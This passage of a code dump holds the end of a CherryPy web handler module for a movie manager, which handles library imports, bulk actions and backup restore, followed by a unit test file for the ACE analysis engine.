(movie.get('finished_file') or '').strip() movie['origin'] = 'Kodi Import' response = Manage.add_movie(movie) if response['response'] is True: fake_results.append(searchresults.generate_simulacrum(movie)) yield json.dumps({'response': True, 'progress': [progress, length], 'title': movie['title'], 'imdbid': movie['imdbid']}) progress += 1 success.append(movie) continue else: yield json.dumps({'response': False, 'title': movie['title'], 'imdbid': movie['imdbid'], 'progress': [progress, length], 'error': response['error']}) progress += 1 continue fake_results = searchresults.score(fake_results, imported=True) for i in success: for r in fake_results: if r['imdbid'] == i['imdbid']: core.sql.update('MOVIES', 'finished_score', r['score'], 'imdbid', i['imdbid']) break core.sql.write_search_results(fake_results) import_kodi_movies._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose @cherrypy.tools.json_out() def upload_plex_csv(self, file_input): ''' Recieves upload of csv from browser file_input (b'str): csv file fo read Reads/parses csv file into a usable dict Returns dict ajax-style response ''' try: csv_text = file_input.file.read().decode('utf-8') file_input.file.close() except Exception as e: logging.error('Unable to parse Plex CSV', exc_info=True) return {'response': False, 'error': str(e)} if csv_text: return library.ImportPlexLibrary.read_csv(csv_text) else: return {'response': True, 'complete': [], 'incomplete': []} @cherrypy.expose def import_plex_csv(self, movies, corrected_movies): ''' Imports list of movies genrated by csv import movie_data (list): dicts of movie info ready to import corrected_movies (list): dicts of user-corrected movie info Iterates through corrected_movies and attmpts to get metadata again if required. If imported, generates and stores fake search result. Creates dict {'success': [], 'failed': []} and appends movie data to the appropriate list. Yeilds dict ajax-style response ''' movie_data = json.loads(movies) corrected_movies = json.loads(corrected_movies) fake_results = [] success = [] length = len(movie_data) + len(corrected_movies) progress = 1 if corrected_movies: logging.info('Adding {} Plex movies to library.'.format(len(corrected_movies))) for movie in corrected_movies: tmdbdata = TheMovieDatabase._search_imdbid(movie['imdbid']) if tmdbdata: tmdbdata = tmdbdata[0] movie['year'] = tmdbdata['release_date'][:4] movie.update(tmdbdata) movie_data.append(movie) else: logging.error(Errors.tmdb_not_found.format(movie['imdbid'])) yield json.dumps({'response': False, 'movie': movie, 'progress': [progress, length], 'error': Errors.tmdb_not_found.format(movie['imdbid'])}) progress += 1 logging.info('Adding {} Plex movies to library.'.format(length)) for movie in movie_data: logging.info('Importing Plex movie {} {}'.format(movie.get('title', ''), movie.get('year', ''))) fm = False if not movie.get('imdbid') and movie.get('tmdbid'): tmdb_data = TheMovieDatabase._search_tmdbid(movie['tmdbid']) if tmdb_data: movie.update(tmdb_data[0]) fm = True else: yield json.dumps({'response': False, 'progress': [progress, length], 'title': movie['title'], 'error': Errors.tmdb_not_found.format(movie['tmdbid'])}) progress += 1 continue if movie.get('imdbid'): movie['status'] = 'Disabled' movie['predb'] = 'found' movie['origin'] = 'Plex Import' if not movie.get('id'): tmdb_data = TheMovieDatabase._search_imdbid(movie['imdbid']) if tmdb_data: movie.update(tmdb_data[0]) else: yield json.dumps({'response': False, 'progress': [progress, length], 'title': movie['title'], 'error': Errors.tmdb_not_found.format(movie['imdbid'])}) progress += 1 continue response = Manage.add_movie(movie, full_metadata=fm) if response['response'] is True: fake_results.append(searchresults.generate_simulacrum(movie)) yield json.dumps({'response': True, 'progress': [progress, length], 'title': movie['title'], 'imdbid': movie['imdbid']}) progress += 1 success.append(movie) continue else: yield json.dumps({'response': False, 'progress': [progress, length], 'error': response['error'], 'title': movie['title']}) progress += 1 continue else: logging.error(Errors.tmdb_not_found.format(movie['title'])) yield json.dumps({'response': False, 'progress': [progress, length], 'error': _('Unable to find IMDB ID for {} on TheMovieDB.').format(movie['title']), 'title': movie['title']}) progress += 1 continue if fake_results: fake_results = searchresults.score(fake_results, imported=True) for i in success: for r in fake_results: if r['imdbid'] == i['imdbid']: core.sql.update('MOVIES', 'finished_score', r['score'], 'imdbid', i['imdbid']) break if fake_results: core.sql.write_search_results(fake_results) import_plex_csv._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose @cherrypy.tools.json_out() def get_cp_movies(self, url, apikey): ''' Gets movies from CP server url (str): url to cp server apikey (str): cp api key Reads/parses cp api response Returns dict ajax-style response ''' url = '{}/api/{}/movie.list/'.format(url, apikey) if not url.startswith('http'): url = 'http://{}'.format(url) return library.ImportCPLibrary.get_movies(url) @cherrypy.expose def import_cp_movies(self, wanted, finished): ''' Imports movies from CP list to library wanted (list): dicts of wanted movies finished (list): dicts of finished movies Yields dict ajax-style response ''' wanted = json.loads(wanted) finished = json.loads(finished) fake_results = [] success = [] length = len(wanted) + len(finished) progress = 1 logging.info('Adding {} Wanted CouchPotato movies to library.'.format(len(wanted))) for movie in wanted: response = Manage.add_movie(movie, full_metadata=True) if response['response'] is True: yield json.dumps({'response': True, 'progress': [progress, length], 'movie': movie}) progress += 1 continue else: yield json.dumps({'response': False, 'movie': movie, 'progress': [progress, length], 'error': response['error']}) progress += 1 continue logging.info('Adding {} Wanted CouchPotato movies to library.'.format(len(finished))) for movie in finished: movie['predb'] = 'found' movie['status'] = 'Disabled' movie['origin'] = 'CouchPotato Import' response = Manage.add_movie(movie, full_metadata=True) if response['response'] is True: fake_results.append(searchresults.generate_simulacrum(movie)) yield json.dumps({'response': True, 'progress': [progress, length], 'movie': movie}) progress += 1 success.append(movie) continue else: yield json.dumps({'response': False, 'movie': movie, 'progress': [progress, length], 'error': response['error']}) progress += 1 continue fake_results = searchresults.score(fake_results, imported=True) for i in success: for r in fake_results: if r['imdbid'] == i['imdbid']: core.sql.update('MOVIES', 'finished_score', r['score'], 'imdbid', i['imdbid']) break core.sql.write_search_results(fake_results) import_cp_movies._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose def manager_backlog_search(self, movies): ''' Bulk manager action for backlog search movies (list): dicts of movies, must contain keys imdbid and tmdbid Yields dict ajax-style response ''' movies = json.loads(movies) logging.info('Performing bulk backlog search for {} movies.'.format(len(movies))) ids = [i['imdbid'] for i in movies] movies = [i for i in core.sql.get_user_movies() if i['imdbid'] in ids] for i, movie in enumerate(movies): title = movie['title'] year = movie['year'] imdbid = movie['imdbid'] year = movie['year'] quality = movie['quality'] logging.info('Performing backlog search for {} {}.'.format(title, year)) if not searcher.search(imdbid, title, year, quality): response = {'response': False, 'error': Errors.database_write, 'imdbid': imdbid, 'index': i + 1} else: response = {'response': True, 'index': i + 1} yield json.dumps(response) manager_backlog_search._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose def manager_update_metadata(self, movies): ''' Bulk manager action for metadata update movies (list): dicts of movies, must contain keys imdbid and tmdbid Yields dict ajax-style response ''' movies = json.loads(movies) logging.info('Performing bulk metadata update for {} movies.'.format(len(movies))) for i, movie in enumerate(movies): r = Metadata.update(movie.get('imdbid'), movie.get('tmdbid')) if r['response'] is False: response = {'response': False, 'error': r['error'], 'imdbid': movie['imdbid'], 'index': i + 1} else: response = {'response': True, 'index': i + 1} yield json.dumps(response) manager_update_metadata._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose def manager_change_quality(self, movies, quality): ''' Bulk manager action to change movie quality profile movies (list): dicts of movies, must contain keys imdbid quality (str): quality to set movies to Yields dict ajax-style response ''' movies = json.loads(movies) logging.info('Setting quality to {} for: {}'.format(quality, ', '.join(i['imdbid'] for i in movies))) for i, movie in enumerate(movies): if not core.sql.update('MOVIES', 'quality', quality, 'imdbid', movie['imdbid']): response = {'response': False, 'error': Errors.database_write, 'imdbid': movie['imdbid'], 'index': i + 1} else: response = {'response': True, 'index': i + 1} yield json.dumps(response) manager_change_quality._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose def manager_reset_movies(self, movies): ''' Bulk manager action to reset movies movies (list): dicts of movies, must contain key imdbid Removes all search results Updates database row with db_reset dict Yields dict ajax-style response ''' movies = json.loads(movies) logging.info('Resetting status for {} movies.'.format(len(movies))) for i, movie in enumerate(movies): logging.debug('Resetting {}'.format(movie['imdbid'])) imdbid = movie['imdbid'] if not core.sql.purge_search_results(imdbid): yield json.dumps({'response': False, 'error': _('Unable to purge search results.'), 'imdbid': imdbid, 'index': i + 1}) continue db_reset = {'quality': config.default_profile(), 'status': 'Waiting', 'finished_date': None, 'finished_score': None, 'backlog': 0, 'finished_file': None, 'predb': None, 'predb_backlog': None } if not core.sql.update_multiple_values('MOVIES', db_reset, 'imdbid', imdbid): yield json.dumps({'response': False, 'error': Errors.database_write, 'imdbid': imdbid, 'index': i + 1}) continue yield json.dumps({'response': True, 'index': i + 1}) manager_reset_movies._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose def manager_remove_movies(self, movies): ''' Bulk action to remove movies movies (list): dicts of movies, must contain key imdbid Yields dict ajax-style response ''' movies = json.loads(movies) logging.info('Removing {} movies from library.'.format(len(movies))) for i, movie in enumerate(movies): r = self.remove_movie(movie['imdbid']) if r['response'] is False: response = {'response': False, 'error': r['error'], 'imdbid': movie['imdbid'], 'index': i + 1} else: response = {'response': True, 'index': i + 1} yield(json.dumps(response)) manager_remove_movies._cp_config = {'response.stream': True, 'tools.gzip.on': False} @cherrypy.expose @cherrypy.tools.json_out() def generate_stats(self): ''' Gets library stats for graphing page Returns dict of library stats ''' return Manage.get_stats() @cherrypy.expose @cherrypy.tools.json_out() def create_backup(self): ''' Creates backup zip file ./watcher.zip Returns dict ajax-style response ''' logging.info('Creating backup of Watcher as {}'.format(os.path.join(core.PROG_PATH, 'watcher.zip'))) try: backup.backup(require_confirm=False) except Exception as e: logging.error('Unable to create backup.', exc_info=True) return {'response': False, 'error': str(e)} return {'response': True, 'message': _('Backup created as {}').format(os.path.join(core.PROG_PATH, 'watcher.zip'))} @cherrypy.expose @cherrypy.tools.json_out() def restore_backup(self, fileUpload): logging.info('Restoring backup from uploaded zip.') n = datetime.datetime.today().microsecond tmp_zip = os.path.join(core.PROG_PATH, 'restore_{}.zip'.format(n)) try: with open(tmp_zip, 'wb') as f: f.seek(0) f.write(fileUpload.file.read()) logging.info('Restore zip temporarily stored as {}.'.format(tmp_zip)) backup.restore(require_confirm=False, file=tmp_zip) logging.info('Removing temporary zip {}'.format(tmp_zip)) os.unlink(tmp_zip) except Exception as e: logging.error('Unable to restore backup.', exc_info=True) return {'response': False} threading.Timer(3, core.restart).start() return {'response': True} @cherrypy.expose @cherrypy.tools.json_out() def manual_task_execute(self, name): ''' Calls task's now() function to execute task now name (str): name of scheduled task to run Response includes core.NOTIFICATIONS so the browser can display any notifications generated during the task. Returns dict ajax-style response ''' try: logging.info('Manually executing task {}.'.format(name)) task = core.scheduler_plugin.task_list[name] task.now() le = task.last_execution return {'response': True, 'message': _('Finished task {}.').format(name), 'last_execution': le, 'notifications': core.NOTIFICATIONS} except Exception as e: return {'response': False, 'error': str(e)}
test.py
# vim: sw=4:ts=4:et import logging import os, os.path import pickle import re import shutil import signal import tarfile import tempfile import threading import time import unittest import uuid from multiprocessing import Queue, cpu_count, Event from queue import Empty import saq, saq.test from saq.analysis import RootAnalysis, _get_io_read_count, _get_io_write_count, Observable, Analysis from saq.constants import * from saq.database import get_db_connection, use_db, acquire_lock, clear_expired_locks, initialize_node from saq.engine import Engine, DelayedAnalysisRequest, add_workload from saq.network_client import submit_alerts from saq.observables import create_observable from saq.test import * from saq.util import * class TestCase(ACEEngineTestCase): def test_controlled_stop(self): engine = Engine() try: engine.start() engine.controlled_stop() engine.wait() except KeyboardInterrupt: engine.stop() engine.wait() def test_immediate_stop(self): engine = Engine() try: engine.start() engine.stop() engine.wait() except KeyboardInterrupt: engine.stop() engine.wait() def test_signal_TERM(self): engine = Engine() try: engine.start() def _send_signal(): wait_for_log_count('waiting for engine process', 1) os.kill(engine.engine_process.pid, signal.SIGTERM) t = threading.Thread(target=_send_signal) t.start() engine.wait() except KeyboardInterrupt: engine.stop() engine.wait() def test_signal_INT(self): engine = Engine() try: engine.start() def _send_signal(): wait_for_log_count('waiting for engine process', 1) os.kill(engine.engine_process.pid, signal.SIGINT) t = threading.Thread(target=_send_signal) t.start() engine.wait() except KeyboardInterrupt: engine.stop() engine.wait() def test_single_process(self): # test starting and stopping in single-process mode engine = Engine(single_threaded_mode=True) try: engine.start() except KeyboardInterrupt: pass def test_engine_default_pools(self): # test starting with no analysis pools defined engine = Engine() engine.start() engine.stop() engine.wait() # we should see this log message regex = re.compile(r'no analysis pools defined -- defaulting to (\d+) workers assigned to any pool') results = search_log_regex(regex) self.assertEquals(len(results), 1) m = regex.search(results[0].getMessage()) self.assertIsNotNone(m) self.assertEquals(int(m.group(1)), cpu_count()) @use_db def test_acquire_node_id(self, db, c): engine = Engine() engine.start() engine.stop() engine.wait() # when an Engine starts up it should acquire a node_id for saq.SAQ_NODE self.assertIsNotNone(saq.SAQ_NODE_ID) c.execute("""SELECT name, location, company_id, is_primary, any_mode, is_local FROM nodes WHERE id = %s""", (saq.SAQ_NODE_ID,)) row = c.fetchone() self.assertIsNotNone(row) _name, _location, _company_id, _is_primary, _any_mode, _is_local = row self.assertEquals(_name, saq.SAQ_NODE) self.assertEquals(_location, saq.API_PREFIX) self.assertEquals(_company_id, saq.COMPANY_ID) #self.assertIsInstance(_any_mode, int) #self.assertEquals(_any_mode, 0) self.assertIsInstance(_is_local, int) self.assertEquals(_is_local, 0) @use_db def test_acquire_local_node_id(self, db, c): engine = Engine() engine.set_local() engine.start() engine.stop() engine.wait() # when a local engine starts up it should acquire a local node with a uuid as the name self.assertIsNotNone(saq.SAQ_NODE_ID) c.execute("""SELECT name, location, company_id, is_primary, any_mode, is_local FROM nodes WHERE id = %s""", (saq.SAQ_NODE_ID,)) row = c.fetchone() from saq.util import validate_uuid self.assertIsNotNone(row) _name, _location, _company_id, _is_primary, _any_mode, _is_local = row self.assertTrue(validate_uuid(_name)) self.assertEquals(_company_id, saq.COMPANY_ID) #self.assertIsInstance(_any_mode, int) #self.assertEquals(_any_mode, 0) self.assertIsInstance(_is_local, int) self.assertEquals(_is_local, 1) def test_analysis_modes(self): engine = TestEngine() engine.initialize() engine.initialize_modules() # analysis mode test_empty should have 0 modules self.assertEquals(len(engine.analysis_mode_mapping['test_empty']), 0) engine = TestEngine() engine.enable_module('analysis_module_basic_test', 'test_empty') engine.enable_module('analysis_module_test_delayed_analysis', 'test_empty') engine.enable_module('analysis_module_test_engine_locking', 'test_empty') engine.enable_module('analysis_module_test_final_analysis', 'test_empty') engine.enable_module('analysis_module_test_post_analysis', 'test_empty') engine.initialize() engine.initialize_modules() # analysis mode test_single should have 1 module self.assertEquals(len(engine.analysis_mode_mapping['test_single']), 1) self.assertEquals(engine.analysis_mode_mapping['test_single'][0].config_section, 'analysis_module_basic_test') # analysis mode test_groups should have 5 modules self.assertEquals(len(engine.analysis_mode_mapping['test_groups']), 5) # analysis mode test_disabled should have 4 modules (minus basic_test) self.assertEquals(len(engine.analysis_mode_mapping['test_disabled']), 4) self.assertTrue('analysis_module_basic_test' not in [m.config_section for m in engine.analysis_mode_mapping['test_disabled']]) def test_single_process_analysis(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.analysis_mode = 'test_single' root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_basic_test') #engine.controlled_stop() # redundant engine.single_threaded_start(mode='test_single') root.load() observable = root.get_observable(observable.id) self.assertIsNotNone(observable) from saq.modules.test import BasicTestAnalysis analysis = observable.get_analysis(BasicTestAnalysis) self.assertIsNotNone(analysis) def test_multi_process_analysis(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.analysis_mode = 'test_single' root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() root.load() observable = root.get_observable(observable.id) self.assertIsNotNone(observable) from saq.modules.test import BasicTestAnalysis analysis = observable.get_analysis(BasicTestAnalysis) self.assertIsNotNone(analysis) def test_missing_analysis_mode(self): saq.CONFIG['service_engine']['default_analysis_mode'] = 'test_single' root = create_root_analysis(uuid=str(uuid.uuid4())) root.analysis_mode = None # <-- no analysis mode here root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # the analysis mode should default to test_single root = RootAnalysis(storage_dir=root.storage_dir) root.load() #self.assertIsNone(root.analysis_mode) observable = root.get_observable(observable.id) self.assertIsNotNone(observable) analysis = observable.get_analysis('BasicTestAnalysis') self.assertIsNotNone(analysis) def test_invalid_analysis_mode(self): # an invalid analysis mode happens when you submit an analysis to an engine # that supports any analysis mode but doesn't have any configuration settings # for the one that was submitted # in that case we use the default_analysis_mode # we're setting the analysis mode to an invalid value root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='foobar') root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine(local_analysis_modes=[]) engine.default_analysis_mode = 'test_single' engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # the analysis mode should default to test_empty but we should also get a warning root = RootAnalysis(storage_dir=root.storage_dir) root.load() observable = root.get_observable(observable.id) self.assertIsNotNone(observable) from saq.modules.test import BasicTestAnalysis analysis = observable.get_analysis(BasicTestAnalysis) self.assertIsNotNone(analysis) self.assertTrue(log_count('invalid analysis mode') > 0) def test_multi_process_multi_analysis(self): uuids = [] for _ in range(3): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.analysis_mode = 'test_single' root.save() root.schedule() uuids.append((root.uuid, observable.id)) engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() for root_uuid, observable_uuid in uuids: root = RootAnalysis(uuid=root_uuid) root.storage_dir = storage_dir_from_uuid(root_uuid) root.load() observable = root.get_observable(observable_uuid) self.assertIsNotNone(observable) from saq.modules.test import BasicTestAnalysis analysis = observable.get_analysis(BasicTestAnalysis) self.assertIsNotNone(analysis) def test_no_enabled_modules(self): # by default the analysis modules specified for the unit tests are disabled (globally) # so just starting up an engine should load no modules at all # even though there are modules enabled for the "test_groups" analysis mode engine = TestEngine(analysis_pools={'test_groups': 1}) engine.controlled_stop() engine.start() engine.wait() self.assertEquals(log_count('loading module '), 0) @unittest.skip("not needed to be tested any more") def test_globally_enabled_modules(self): # if we globally enable ALL modules then we should see the correct modules get loaded for section in saq.CONFIG.keys(): if not section.startswith('analysis_module_'): continue saq.CONFIG[section]['enabled'] = 'yes' # the config file specifies test_empty,test_single,test_groups,test_disabled,test_cleanup as the # locally supported analysis modes # so we should see only the modules assigned to these modes get loaded here engine = TestEngine(analysis_pools={'test_groups': 1}) engine.controlled_stop() engine.start() engine.wait() # TODO kind of annoying I have to edit this every time I add a new module for testing # there should be 21 analysis modules loaded self.assertEquals(log_count('loading module '), 21) def test_locally_enabled_modules(self): # if we enable modules locally then ONLY those should get loaded # first we change the config to globally enable all modules for section in saq.CONFIG.keys(): if not section.startswith('analysis_module_'): continue saq.CONFIG[section]['enabled'] = 'yes' engine = TestEngine(analysis_pools={'test_groups': 1}) # this is the only module that should get loaded engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # even though 5 are specified and globally enabled, only 1 is loaded self.assertEquals(log_count('loading module '), 1) self.assertEquals(log_count('loading module analysis_module_basic_test'), 1) def test_no_analysis(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() # this test should return False instead of an Analysis observable = root.add_observable(F_TEST, 'test_2') root.analysis_mode = 'test_single' root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(uuid=root.uuid, storage_dir=root.storage_dir) root.load() observable = root.get_observable(observable.id) from saq.modules.test import BasicTestAnalysis # so this should come back as False self.assertTrue(isinstance(observable.get_analysis(BasicTestAnalysis), bool)) self.assertFalse(observable.get_analysis(BasicTestAnalysis)) def test_configurable_module(self): # some settings of an AnalysisModule can be specified in the configuration file # we should have the following configuration settings for this module # # [analysis_module_configurable_module_test] # module = saq.modules.test # class = ConfigurableModuleTestAnalyzer # enabled = no # # valid_observable_types = ipv4,test # required_directives = archive # root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() # wrong type, correct directive and tag user_observable = root.add_observable(F_USER, 'username') user_observable.add_directive(DIRECTIVE_ARCHIVE) user_observable.add_tag('test') # right type, no directive or tag test_observable = root.add_observable(F_TEST, 'test1') # right type with directive, no tag test_observable_with_directive = root.add_observable(F_TEST, 'test2') test_observable_with_directive.add_directive(DIRECTIVE_ARCHIVE) # right type, directive and tag test_observable_with_tag = root.add_observable(F_TEST, 'test_with_tag') test_observable_with_tag.add_directive(DIRECTIVE_ARCHIVE) test_observable_with_tag.add_tag('test') root.analysis_mode = 'test_single' root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_configurable_module_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() root.load() user_observable = root.get_observable(user_observable.id) self.assertIsNotNone(user_observable) from saq.modules.test import ConfigurableModuleTestAnalysis analysis = user_observable.get_analysis(ConfigurableModuleTestAnalysis) # this should be empty since this module does not analyze user self.assertIsNone(analysis) test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) from saq.modules.test import ConfigurableModuleTestAnalysis analysis = test_observable.get_analysis(ConfigurableModuleTestAnalysis) # this should also be empty since this module requires the directive self.assertIsNone(analysis) test_observable_with_directive = root.get_observable(test_observable_with_directive.id) self.assertIsNotNone(test_observable_with_directive) from saq.modules.test import ConfigurableModuleTestAnalysis analysis = test_observable_with_directive.get_analysis(ConfigurableModuleTestAnalysis) # this should NOT have analysis since it is missing the tag requirement self.assertIsNone(analysis) test_observable_with_tag = root.get_observable(test_observable_with_tag.id) self.assertIsNotNone(test_observable_with_tag) from saq.modules.test import ConfigurableModuleTestAnalysis analysis = test_observable_with_tag.get_analysis(ConfigurableModuleTestAnalysis) # this should have analysis since it meets all the requirements in the configuration settings self.assertIsNotNone(analysis) def test_time_range_grouped_analysis(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable_1 = root.add_observable(F_TEST, 'test_1', parse_event_time('2019-04-16 12:00:00')) observable_2 = root.add_observable(F_TEST, 'test_1', parse_event_time('2019-04-16 12:10:00')) observable_3 = root.add_observable(F_TEST, 'test_1', parse_event_time('2019-04-16 14:00:00')) observable_4 = root.add_observable(F_TEST, 'test_1', parse_event_time('2019-04-16 10:00:00')) root.analysis_mode = 'test_groups' root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_grouped_time_range', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(uuid=root.uuid, storage_dir=root.storage_dir) root.load() observable_1 = root.get_observable(observable_1.id) observable_2 = root.get_observable(observable_2.id) observable_3 = root.get_observable(observable_3.id) observable_4 = root.get_observable(observable_4.id) from saq.modules.test import GroupedByTimeRangeAnalysis # observations 3 and 4 should have analysis self.assertTrue(bool(observable_3.get_analysis(GroupedByTimeRangeAnalysis))) self.assertTrue(bool(observable_4.get_analysis(GroupedByTimeRangeAnalysis))) # either 1 or 2 should have it but not both (logical xor) self.assertTrue(bool(observable_1.get_analysis(GroupedByTimeRangeAnalysis)) ^ bool(observable_2.get_analysis(GroupedByTimeRangeAnalysis))) # and one of these should be a grouping target self.assertTrue(observable_1.grouping_target or observable_2.grouping_target) # remember which one was the grouping target grouping_target = observable_1 if observable_1.grouping_target else observable_2 root.schedule() engine = TestEngine() engine.enable_module('analysis_module_grouping_target', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(uuid=root.uuid, storage_dir=root.storage_dir) root.load() observable_1 = root.get_observable(observable_1.id) observable_2 = root.get_observable(observable_2.id) grouping_target = root.get_observable(grouping_target.id) from saq.modules.test import GroupingTargetAnalysis # either 1 or 2 should have it but not both (logical xor) self.assertTrue(bool(observable_1.get_analysis(GroupingTargetAnalysis)) ^ bool(observable_2.get_analysis(GroupingTargetAnalysis))) # and the one that was previously marked as the grouping target is the one that should have the analysis self.assertTrue(bool(grouping_target.get_analysis(GroupingTargetAnalysis))) def test_no_analysis_no_return(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single') root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_3') root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(uuid=root.uuid, storage_dir=root.storage_dir) root.load() observable = root.get_observable(observable.id) from saq.modules.test import BasicTestAnalysis # so what happens here is even though you return nothing from execute_analysis # execute_final_analysis defaults to returning False self.assertFalse(observable.get_analysis(BasicTestAnalysis)) # you should also get a warning log wait_for_log_count('is not returning a boolean value', 1, 5) def test_delayed_analysis_single(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, '0:01|0:05') root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_test_delayed_analysis') engine.controlled_stop() engine.start() engine.wait() from saq.modules.test import DelayedAnalysisTestAnalysis root = create_root_analysis(uuid=root.uuid, storage_dir=storage_dir_from_uuid(root.uuid)) root.load() analysis = root.get_observable(observable.id).get_analysis(DelayedAnalysisTestAnalysis) self.assertIsNotNone(analysis) self.assertTrue(analysis.initial_request) self.assertTrue(analysis.delayed_request) self.assertEquals(analysis.request_count, 2) self.assertTrue(analysis.completed) def test_delayed_analysis_single_instance(self): # same as previous test test_delayed_analysis_single except this module we're testing is instanced root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, '0:01|0:05') root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_test_delayed_analysis_instance') engine.controlled_stop() engine.start() engine.wait() from saq.modules.test import DelayedAnalysisTestAnalysis root = create_root_analysis(uuid=root.uuid, storage_dir=storage_dir_from_uuid(root.uuid)) root.load() analysis = root.get_observable(observable.id).get_analysis(DelayedAnalysisTestAnalysis, instance='instance1') self.assertIsNotNone(analysis) self.assertTrue(analysis.initial_request) self.assertTrue(analysis.delayed_request) self.assertEquals(analysis.request_count, 2) self.assertTrue(analysis.completed) self.assertEquals(analysis.instance, 'instance1') def test_delayed_analysis_multiple(self): uuids = [] for i in range(3): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, '0:01|0:05') root.save() root.schedule() uuids.append((root.uuid, observable.id)) engine = TestEngine() engine.enable_module('analysis_module_test_delayed_analysis') engine.controlled_stop() engine.start() engine.wait() from saq.modules.test import DelayedAnalysisTestAnalysis for root_uuid, observable_uuid in uuids: root = create_root_analysis(uuid=root_uuid, storage_dir=storage_dir_from_uuid(root_uuid)) root.load() analysis = root.get_observable(observable_uuid).get_analysis(DelayedAnalysisTestAnalysis) self.assertTrue(analysis.initial_request) self.assertTrue(analysis.delayed_request) self.assertEquals(analysis.request_count, 2) self.assertTrue(analysis.completed) def test_delayed_analysis_timing(self): root_1 = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root_1.initialize_storage() o_1 = root_1.add_observable(F_TEST, '0:04|0:10') root_1.save() root_1.schedule() root_2 = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root_2.initialize_storage() o_2 = root_2.add_observable(F_TEST, '0:01|0:10') root_2.save() root_2.schedule() engine = TestEngine() engine.enable_module('analysis_module_test_delayed_analysis') engine.controlled_stop() engine.start() engine.wait() from saq.modules.test import DelayedAnalysisTestAnalysis # the second one should finish before the first one root_1 = RootAnalysis(uuid=root_1.uuid, storage_dir=root_1.storage_dir) root_1.load() analysis_1 = root_1.get_observable(o_1.id).get_analysis(DelayedAnalysisTestAnalysis) self.assertTrue(analysis_1.initial_request) self.assertTrue(analysis_1.delayed_request) self.assertEquals(analysis_1.request_count, 2) self.assertTrue(analysis_1.completed) root_2 = RootAnalysis(uuid=root_2.uuid, storage_dir=root_2.storage_dir) root_2.load() analysis_2 = root_2.get_observable(o_2.id).get_analysis(DelayedAnalysisTestAnalysis) self.assertTrue(analysis_2.initial_request) self.assertTrue(analysis_2.delayed_request) self.assertEquals(analysis_2.request_count, 2) self.assertTrue(analysis_2.completed) self.assertLess(analysis_2.complete_time, analysis_1.complete_time) def test_unix_signals(self): engine = TestEngine() engine.start() # tell ACE to reload the configuration and then reload all the workers os.kill(engine.engine_process.pid, signal.SIGHUP) wait_for_log_count('reloading engine configuration', 1, 5) wait_for_log_count('got command to restart workers', 1, 5) wait_for_log_count('started worker loop', 2) engine.controlled_stop() engine.wait() @track_io def test_io_count(self): self.assertEquals(_get_io_write_count(), 0) self.assertEquals(_get_io_read_count(), 0) root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single') root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() self.assertEquals(_get_io_write_count(), 1) self.assertEquals(_get_io_read_count(), 0) engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # 